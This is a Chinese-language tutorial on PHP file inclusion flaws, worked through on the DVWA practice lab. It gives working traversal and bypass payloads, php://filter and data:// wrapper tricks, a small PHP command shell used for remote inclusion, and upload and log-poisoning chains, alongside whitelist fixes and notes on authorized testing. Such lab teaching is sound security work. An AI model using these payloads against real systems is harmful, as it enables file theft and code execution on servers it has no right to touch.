如果一个Web应用把用户传进来的一个参数直接当作文件名去包含,会发生什么?我每次带新人看代码审计,只要讲到include、require这类函数,就一定会把这个问题抛出来。DVWA 的 File Inclusion 模块,就是专门让你在完全合法的靶场环境里把这条链路摸熟的。文件包含漏洞(File Inclusion)是个经典到不能再经典的话题,但把它真正玩明白的人不多,因为光背原理没用,你得亲手在 Low、Medium、High、Impossible 四个等级里各踩一遍,才能理解黑名单过滤为什么总会漏、白名单为什么是底线。
这篇不说废话,直接按我自己的测试流程来,从环境搭建到每个等级的构造思路,再到读源码、日志投毒、LFI 与上传联动这类常见打法,全部基于 DVWA 靶场复现。适合刚学 Web 安全、准备刷靶场的人,也适合写代码时不确定自己会不会踩这个坑的开发同学参考。
1. 文件包含漏洞到底是什么——先把原理吃透
1.1 从 include 函数说起:动态包含是怎么回事
在 PHP 里,include和require的职责非常单纯:把指定文件的内容拿进来执行。include_once和require_once只是在前面两者基础上加了个“避免重复包含”的判断。问题从来不在于这几个函数本身,而在于开发者把文件名交给了用户控制。
看一段再典型不过的代码:
<?php $file = $_GET['page']; include($file); ?>如果业务上是这样写的,那么用户访问:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=about.php服务器就会去包含 about.php。看起来很合理,对吧?问题在于page参数完全可控,用户可以改成自己想要的任何文件名。如果改成:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwdinclude 就会把系统里的/etc/passwd内容拉进来并原样输出。/etc/passwd里虽然没有密码哈希(现代系统哈希一般在 shadow 里),但用户名、用户 ID、登录 shell 这些信息对判断系统用户结构已经很有价值。更致命的是,很多应用会把用户上传的文件放在某个固定目录,如果上传的后缀名校验不严,攻击者传一个包含 PHP 代码的文件,再配合文件包含,直接就变成代码执行。
这里要区分一个概念:静态包含和动态包含。像include('header.php')这种写死文件名的,没有任何风险,因为它不依赖外部输入。只有文件名由运行期变量拼接、这个变量又源自身上的某个参数时,才会产生包含漏洞。业务代码里最常见到的情况是切换皮肤、切换语言包、加载模板文件,这些场景一旦图省事直接用参数拼路径,漏洞基本就跑不掉了。
1.2 LFI 与 RFI:两类“入口”的差别
文件包含通常分成两类,名字很容易记混,我上课时习惯用一个简单说法帮助记忆:
- LFI:本地文件包含。攻击者让服务器去包含它自己磁盘上的文件,比如
/etc/passwd、日志文件、应用源码。 - RFI:远程文件包含。攻击者让服务器去包含一个外部 URL 上的文件,通常这个文件是攻击者提前准备好的,里面写着 PHP 代码,包含后直接在目标服务器上执行。
RFI 之所以比 LFI 更危险,是因为它往往直接通向代码执行,不需要再借助上传点或日志投毒去“造文件”。但 RFI 的利用条件也更苛刻。PHP 默认配置里allow_url_include是关闭状态,很多发行版虽然开了allow_url_fopen,但那只是允许读远程资源,和允许 include 远程文件是两码事。所以实战测 RFI 的时候,要做的第一件事是确认这个配置项的状态。
DVWA 的测试环境里默认是允许开这个开关的,修改 php.ini 后重启 Web 服务即可。但有一点我反复叮嘱过新人:测完一定要改回去,因为打开allow_url_include会全面放大实验机器的风险,测试机也不行。
1.3 为什么框架时代仍然要学这个
现在很多人写代码都在用主流框架,框架里已经有路由、模板引擎、安全中间件,动态文件包含的场景少了很多。但这个漏洞为什么依然是经典靶场里必须刷的一关?
因为存量业务太多。改造成框架不是一天两天的事,很多老系统、CMS、后台管理系统依然在用“页面名作为参数”的裸写法。我见过不少年久失修的内部系统,打开 URL 一排?module=xxx&page=yyy,翻到源码就是上一节那种代码。功能正常运行了几百天没出事,不代表真的安全,只是还没遇到一个会构造路径的人。
另外,文件包含在漏洞利用链里经常是“跳板”而不是“终点”。比如一个站点上传模块做了很严格的扩展名校验,但某个地方存在 LFI,攻击者可以先读源码搞清楚校验逻辑,再结合日志文件或临时文件来寻找执行机会。很多组合攻击的第一步就是靠 LFI 打开局面的。所以就算你只做渗透测试,文件的“读”和“执行”两条路都要熟。
1.4 一句话总结漏洞根因
文件包含漏洞的根因,用一句话概括:开发者对文件名输入既没有做合法性校验,也没有做路径映射,直接把它丢给了 include 系列函数。“用户能控制文件名”和“include 去包含文件”这两件事单独看都没问题,一旦连起来,就出大事了。
2. 环境准备与 DVWA 靶场搭建
2.1 运行环境搭配和安装细节
DVWA 是经典的 Web 靶场,自带多个漏洞模块,File Inclusion 只是其中一个页面。想顺利复现,先把环境搭对。
我个人习惯用的组合是 Linux + Apache + PHP 7.x + MySQL/MariaDB。不用纠结具体版本,DVWA 对运行环境兼容性做得不错,但有两个点必须注意:第一,PHP 版本不要高到把include行为改得面目全非,7.x 就够了;第二,需要 PHP 的 mysqli 扩展、GD 扩展、curl 扩展,缺了哪个模块安装过程会报红字提示,按提示把扩展装上就行。
安装方式有两种。一种是用现成的集成环境,下载安装后直接启动 Apache 和 MySQL,然后进入 phpMyAdmin 建库;另一种是在本机用系统包管理器逐个装,好处是路径和行为更接近生产环境。两种都行,关键是目录要放对。DVWA 需要运行在 Web 根目录下,比如 Linux 里常见的是/var/www/html/dvwa,访问时就通过http://127.0.0.1/dvwa/进入。
第一次启动 DVWA 会跳到安装页面,要求设置数据库连接信息。默认配置一般是root加空密码,或者安装时你设的密码。需要把config/config.inc.php里的数据库密码改成实际值后才能继续。这一步很多人卡住,其实错误提示已经很直白了,仔细看页面给出的红字就行。
2.2 DVWA 初始化与安全等级切换
安装页面点击创建数据库后,初始化流程会自动建表和写入数据。完成之后用默认账号登录,默认用户名是admin,密码是password。登录后第一件事不是急着打漏洞,而是到页面上方的 “DVWA Security” 页面调整安全等级。
DVWA 把每个漏洞模块都做了四个难度,对应四种不同强度的防护代码:
| 安全等级 | 防护强度 | 大致特点 |
|---|---|---|
| Low | 无 | 源码里几乎没有过滤,直接看效果 |
| Medium | 低 | 有一些黑名单过滤和替换,但存在绕过空间 |
| High | 中 | 校验逻辑更复杂,部分错误的修复姿势仍有缺口 |
| Impossible | 高 | 采用白名单或严格校验,正规修复思路 |
默认等级我记得一般是 Impossible,这也是最安全的配置,直接测的话什么都打不动。所以我会先在 DVWA Security 里把等级切成 Low,再进 File Inclusion 模块。每测完一个等级,再回去切换,然后重新加载页面。这里提醒一下:切换等级后不需要重启 Web 服务,刷新页面立刻生效。
2.3 先摸清页面结构再动手测试
进入 File Inclusion 页面后,先观察页面本身。DVWA 的布局是左侧一排漏洞模块按钮,右侧是当前模块的内容。File Inclusion 模块页面非常简洁,一般会显示三个链接:file1.php、file2.php、file3.php,外加一个文件包含的示例入口。
等一下,这里有个很容易踩的认知误区。很多新手一上来就盯着链接点,点完之后发现 URL 变成了:
?page=file1.php然后马上照着网上的资料把参数改成../../../../../../etc/passwd,结果页面一片空白。原因通常是路径层数不对。DVWA 的fi目录位于vulnerabilities目录下,而这个目录可能还在 Web 根目录下嵌套了一层或多层,要多试几组../才行。
测之前我习惯先用一个确定存在的文件确认入围。比如:
?page=file1.php如果页面正常显示出 file1.php 的信息,说明包含逻辑已经生效。接下来再改成:
?page=../../../../../../etc/passwd逐步增加或减少../层数,直到输出里出现root:x:0:0:这类内容。这一步也是在给后面的 Medium 等级测试做准备,因为那个等级里会把../过滤掉,你得先搞清楚正常路径长什么样。
3. 四个安全等级逐个测:从直接读文件到白名单绕过
3.1 Low:一条 URL 直接读 /etc/passwd
Low 等级下的源码思路简单到令人发指。打开 DVWA 的源码文件include.php,核心逻辑就是上一节写的那段:
<?php $file = $_GET['page']; include($file); ?>没有白名单、没有路径过滤、没有协议限制,用户传什么就包含什么。我实际的测试请求是这样的:
GET /dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd HTTP/1.1页面返回:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/bin/nologin ...这一步能通,说明两层事情都成立:目标机器允许超目录访问,且包含路径没有做任何限制。Low 等级里我会顺便看一下phpinfo.php是否存在,因为 DVWA 默认会带一个phpinfo.php文件:
?page=phpinfo.php如果能正常显示 phpinfo,说明包含逻辑可以加载当前目录下的 PHP 文件并执行。那如果把路径换成目录之外的文件,读到的内容同样会原样输出。从利用角度来说,Low 等级是“无门槛直接读”,也是最容易向朋友演示文件包含原理的方式。
3.2 Medium:黑名单过滤后如何绕过
切到 Medium 等级后再试../,会发现路径穿越不生效了。这时候应该先看一眼源码,理解它的防护逻辑。Medium 典型写法是:
<?php $file = str_replace(array("../", "..\\"), "", $_GET['page']); include($file); ?>它把../和..\直接替换成空字符串。这种用str_replace做黑名单的思路,缺陷在于它不是递归过滤。只要把../的关键部分重复写一次,替换完一次之后剩下的字符串还能构成原来的穿越序列。
具体操作方式,我提供一个自己常用的写法。把:
../../../../etc/passwd写成:
....//....//....//....//etc/passwd为啥能过?因为....//中间藏着一个../,第一次替换把中间那段删掉,剩下的字符结构恰好又变成了../。相当于过滤机制只拦掉一层皮,实际路径穿越还是成立了。
除了双写绕过,Medium 等级还有个更省事的路子:直接用绝对路径。因为过滤规则只处理相对路径中的..,对/etc/passwd这种以根目录开头的路径不敏感:
?page=/etc/passwd这招在 Medium 等级下实测有效。所以黑名单思路最核心的问题就是覆盖不全,你永远不知道攻击者会从哪个角度绕过。
如果页面配置允许远程包含,Medium 等级还会把http://和https://字符串也删掉。这里常见的绕法是大写协议名、双写协议名。比如:
?page=hthttp://tp://127.0.0.1/rfi.txt替换掉内部的http://后,剩余的字符串又拼成一个完整http://。关于 RFI 的实际操作,我放到后续小节专门讲。
3.3 High:前缀校验能拦住谁
High 等级比 Medium 难一些,不同版本 DVWA 的修复思路有差异,我见过的比较典型的一种是用fnmatch做前缀匹配,要求传入的文件名必须匹配file*,也就是必须以file开头。源码类似:
<?php $file = $_GET['page']; if (!fnmatch("file*", $file)) { die("不允许"); } include($file); ?>看到这个校验,你脑子里第一反应应该是:确实,file1.php、file2.php都是以file开头的,正常业务不受影响。但它只限制了“开头”,没限制协议,也没限制包含的目标路径。
我在实际环境里用过的有效绕法,是利用 PHP 的file://协议。因为file://字符串天然以file开头,正好匹配file*的前缀要求。此时可以尝试:
?page=file:///etc/passwd只要 PHP 配置允许file://包装器参与 include(绝大多数发行版是允许的),这个请求就能绕过前缀检查并读取本地文件。更妙的是这个前缀匹配甚至不关心后面到底是什么,所以:
?page=file:///var/log/apache2/access.log同样可以被包含进来。High 等级从 Medium 的简单黑名单升级成了前缀约束,看似更严格,但它没有抓住“用户输入不可信”这个本质,只是换了个姿势继续猜。这段给我的触动还挺大,因为日常代码评审里我见过太多类似的“补丁式修复”——出了漏洞就加个过滤条件,结果绕过方式换个编码就回来了。
3.4 Impossible:这才叫“修对了”
切到 Impossible 等级后再试上面的每一种办法,基本都会失败。源码逻辑清晰得让人感动:
<?php $page = $_GET['page']; $whitelist = array("file1.php", "file2.php", "file3.php"); if (in_array($page, $whitelist)) { include($page); } ?>它先把所有允许包含的文件名写死成一个白名单数组,再用in_array校验。参数不在名单里,脚本直接不执行包含操作。这就是“白名单”和“黑名单”的差距。黑名单永远在猜攻击者会用什么字符,白名单直接不给他选择空间。
有人可能会觉得白名单太死板,业务上不方便。方便的做法通常是参数只传一个 ID,后端通过 ID 映射到真实文件名:
?page=1后端代码:
<?php $pages = array( 1 => "home.php", 2 => "about.php", 3 => "contact.php" ); $id = $_GET['page']; if (isset($pages[$id])) { include($pages[$id]); } ?>这样用户能控制的只是有限的几个数字,路径由服务端决定,这才是安全的动态包含姿势。DVWA 的 Impossible 等级其实就是在演示这个原则:从根上切断不可控输入,而不是在充满变数的输入字符串上反复打补丁。
3.5 RFI:本地再起一个服务来复现远程包含
前面几个等级主要玩 LFI,真正把文件包含玩成“代码执行”的是 RFI。复现 RFI 需要准备两样东西:目标环境开allow_url_include,以及一个攻击者可控的远程文件。
在本地测试时,我通常会再起一个极简 HTTP 服务,把测试文件放在另一个端口,比如:
<?php echo "RFI_OK<br>"; system($_GET['cmd']); ?>保存为rfi.txt,丢到我本地另一个目录下,用命令启动服务:
php -S 127.0.0.1:8080然后在 DVWA 的 Low 等级测试这个请求:
?page=http://127.0.0.1:8080/rfi.txt&cmd=id如果页面返回RFI_OK和当前用户信息,说明目标服务器把远程文件内容当成了本地 PHP 执行。这比 LFI 读文件危险一个量级,因为攻击者只要控制了一台能访问到的服务器,就能把任意代码塞进来执行。
DVWA 默认环境不一定开着allow_url_include,所以测 RFI 前需要修改 php.ini 并重启服务。如果修改后依然不生效,检查一下配置所在文件是否被正确加载,可以用 phpinfo 页面查看当前实际配置。测完一定记得把配置改回关闭状态。
Medium 等级下,因为过滤规则会删掉http://,所以上面的 URL 会失效。此时可以试双写或大写协议名,比如:
?page=hthttp://tp://127.0.0.1:8080/rfi.txt替换掉中间的http://后,剩下的字符串恰好是完整的http://,include 正常执行。这种绕法和 LFI 里的双写../是同一个思路,万变不离其宗。
3.6 串联组合拳:LFI + 上传/日志也能打下去
如果测试目标的 RFI 被彻底关死,LFI 也还能往上提一截。思路不外乎两种:找已存在的可执行文件,或往文件里种下 PHP 代码。
先看第一种。DVWA 自带一个文件上传模块,如果上传功能只校验了图片后缀,没校验内容,那可以传一个内容为 PHP 代码的“图片马”。传上去之后得到一个文件路径,再用 File Inclusion 把这个路径包含进来。比如上传目录在:
/var/www/html/dvwa/hackable/uploads/xx.php.png那么 LFI 就构造:
?page=../../../../hackable/uploads/xx.php.png因为 include 是按内容解析的,它不关心扩展名是.png还是.jpg,里面的<?php代码照样执行。文件包含和文件上传经常被合在一起用,实际渗透里这叫组合攻击链。单独看可能防御都还行,连起来就破了。
第二种是日志投毒。Apache 的访问日志路径常见于:
/var/log/apache2/access.log先用一个恶意 User-Agent 请求目标,让日志里记录下带 PHP 代码的请求头。再用 LFI 去包含日志文件,日志里的 PHP 代码就会被执行。这个方法要求 Web 进程对日志文件有读权限,而且日志文件通常很大,包含后页面输出会非常杂,但不妨碍它确实是一条经典的思路。
这两类方法我建议在 DVWA 上多练几遍,因为它们是“单个漏洞看不出破坏力、组合起来立刻升级成 RCE”的典型示范。实战场景里,目标站点不太可能同时有这么多漏洞,但攻击者会把多个小问题串起来,这是安全评估中非常核心的思维方式。
4. 实战中踩过的坑与排查路径
4.1 白屏、报错与路径层数
文件包含测起来最常见的现象就是白屏。新手经常会问:路径构造得没问题啊,为什么页面什么都不显示?
原因通常有三个。第一,路径层数不对,包含的文件根本不存在。第二,包含目标文件后发生了 PHP 解析错误,页面被错误输出中断。第三,目标文件权限不够,PHP 没有读取权限。
路径层数这个问题,我建议不要凭空去数,而是先构造一个明显的“目录穿越失败”状态,再逐层调整。比如先发:
?page=../../../../etc/passwd如果没输出,就增加一层:
?page=../../../etc/passwd直到能读到文件,然后记住这个层数。原理是:URL 中的路径是从入口脚本所在目录开始解析的,每一层../对应向上一级目录。DVWA 的 fi 目录相对/etc的实际层数,受安装路径深浅影响,所以不同人环境里写的层数可能不一样,这很正常。
报错信息里如果出现 “failed to open stream” 字样,多半是路径不对;如果出现权限错误,比如 “Permission denied”,那就是文件权限问题。把display_errors临时打开可以更快定位,测完再关掉。
4.2 读源码:为什么 php://filter 比直接包含好用
很多时候,你想看目标文件的源码,但直接包含它,PHP 会把里面代码执行掉,你看到的只是执行结果而不是代码本身。这时候就需要 PHP 包装器出场了。
php://filter最常见的用法是把文件内容转换成 base64 再输出,这样内容不会被当成 PHP 代码执行。请求形式是:
?page=php://filter/convert.base64-encode/resource=file1.php返回的是一串 base64 编码的字符串,拿解码工具解开后,就能看到file1.php的原始源码。这个技巧在审计黑盒目标时极其有用。因为你不知道该站点的防护逻辑长什么样,读到源码才能决定下一步用什么姿势。
类似的包装器还有data://,比如:
?page=data://text/plain,<?php phpinfo();?>不过这个要看目标环境是否允许对应的包装器参与 include,不是每个环境都默认支持。实务中我更依赖php://filter来读源码、php://input来配合 POST 数据做执行尝试,一个个试过去,哪个通就用哪个。
4.3 不同版本 DVWA 的差异与适配
DVWA 的代码是持续更新的,四个等级的具体过滤逻辑在不同版本里略有差别。我上面给出的源码是一个比较经典的版本,你在自己环境里看到的可能不完全一样。这很正常,也不是坏事情。
万一测试时遇到某个等级的过滤逻辑不同,第一个动作永远是看源码。DVWA 本身就是开源靶场,源码就摆在vulnerabilities/fi/source/目录下,把源码看明白了,才知道该构造什么数据。练靶场时也要保持这个习惯。我见过不少学员喜欢照着网上的 PoC 一通粘贴,可一旦环境版本变了就完全不知道怎么办。看源码和调试是比背诵几个 payload 重要得多的能力。
举个例子,有些版本把 Medium 的过滤写成了一个循环,那你的双写就不一定好使了;又或者 High 等级用了正则匹配,那么file://也不一定被放行。但万变不离其宗:只要校验不是白名单,就值得在大小写、编码、协议、路径组合这几个维度上多尝试。学习重点在于分析校验逻辑,而不是记住某个永远有效的固定 payload。
4.4 常用问题排查速查表
我把文件包含测试过程中经常碰到的问题整理成一个速查表,适合在实践中对照:
| 现象 | 可能原因 | 处理思路 |
|---|---|---|
| 页面完全空白 | 路径层数不对 / 包含文件报 Fatal Error | 逐层增加../,并临时打开报错信息 |
| 页面输出了内容但没有穿越成功 | 过滤掉了../或做了目录限制 | 尝试双写、编码、绝对路径 |
| 可以读文件但不能执行代码 | PHP 配置限制 / 扩展名被强制拼接 | 换php://filter读源码,配合上传/日志投毒 |
| 尝试 RFI 没有反应 | allow_url_include未开启 | 检查 php.ini 配置并使用 phpinfo 确认 |
| 读到了内容但中文乱码 | 文件编码与页面编码不一致 | 配合php://filter做 base64 解码读取 |
| 报错 not found | 文件名/路径不正确 | 先确认目标文件实际位置与权限 |
这个表的每一条都是实际操作里真实出现过的场景。多记几遍,后面审计其他带文件包含的 PHP 项目时能少踩一半坑。
5. 不只防守:从文件包含漏洞看代码修复方向
5.1 白名单映射才是正解,别在过滤上打补丁
DVWA 的四个等级放在一起对照,最值得记住的一个结论是:黑名单过滤治标不治本,白名单映射才是正解。
为什么黑名单总会被绕过?因为输入空间几乎是无限的,过滤字符总有覆盖不到的时候。你过滤了../,攻击者可以双写;你过滤了小写协议,他改大写;你做了前缀校验,他用file://擦边;你把所有字符串校验都做全了,他还可以用编码绕,用长路径绕。这种猫鼠游戏永无尽头。
白名单把路走死了:允许包含的文件就那几个,用户参数不在名单里,直接拒绝。如果你不想维护一个长得吓人的白名单,那就用参数映射方案,用户传 ID,后端用 ID 去查表。用户根本没有机会决定文件路径,这个漏洞从根上就断了。
我在代码评审里给出的建议顺序永远是:第一级用白名单,第二级用文件路径映射,第三级才考虑输入过滤。如果前面两级做到了,过滤甚至可以考虑不加,因为已经没有不可控输入会进入 include 了。
5.2 哪些业务代码最容易踩雷
以下是我在真实项目和各类靶场里反复看到过高危文件包含场景,值得留意:
- 语言切换功能:
?lang=en,后端直接拼include("lang/" . $_GET['lang'] . ".php")。 - 模板选择功能:
?theme=blue,后端包含templates/blue/header.php。 - 页面跳转预览功能:
?preview=print,后端包含print.php。 - 文档预览/导出功能:
?file=report1,后端把文件路径拼给 include。
这类代码有个共同特点:开发者最初只考虑了合法业务输入,没有考虑到用户可以不按套路传参。比如lang=en看起来只是个值为en的简单参数,一旦改成../../../../etc/passwd,同样能穿越出去。
如果非要用动态包含,我会建议至少做到两层检查:参数值必须是白名单里的合法枚举值,映射后的文件必须真实存在于允许的目录下。把两层都写上,基本就安全了。
5.3 本地测试的边界与职责
最后聊点测试伦理。DVWA 这类靶场存在的意义,是让你在完全可控的环境里去理解漏洞原理,练手的前提是“环境属于你或已经获得授权”。文件包含一旦落到真实业务里,读系统文件、执行代码的能力对业务来说都是致命的,问题不在于“能不能测”,而在于“有没有资格测”。
我自己带人做渗透测试时的底线是这样的:物理隔离的靶场随便折腾,真实业务必须签测试授权并约定测试范围和影响边界。再好的技术演示,也不能脱离这个前提。
在实战中遇到疑似文件包含的参数点,我通常会把观察到的现象记录成完整的复现链路,包括请求包、响应特征、源码位置和影响面评估,交给开发侧去修复,而不是继续深入测试敏感文件的读取范围。测试人员最大的价值,是清楚边界在哪里。
最后再分享一个小技巧
个人比较推荐的练习顺序,是把 DVWA 的 Low 到 Impossible 全部刷一遍之后,再回到第三个等级去读一遍源码,然后自己动手写一个包含白名单映射的小 Demo。你会发现,写一个安全版本其实只需要几十行代码,但能真正想明白它为什么安全,比盲目去背十个绕过姿势更值得。
文件包含这个知识点,串联起来并不难。难的是在实际代码里敏锐地识别出“文件名来自外部输入”的那一瞬间。有了 DVWA 的练习基础,以后再看到类似业务逻辑,你会本能地问一句:这个参数可控吗?它最后会被 include 吗?这两个问题一旦成为肌肉记忆,就说明这关真的过了。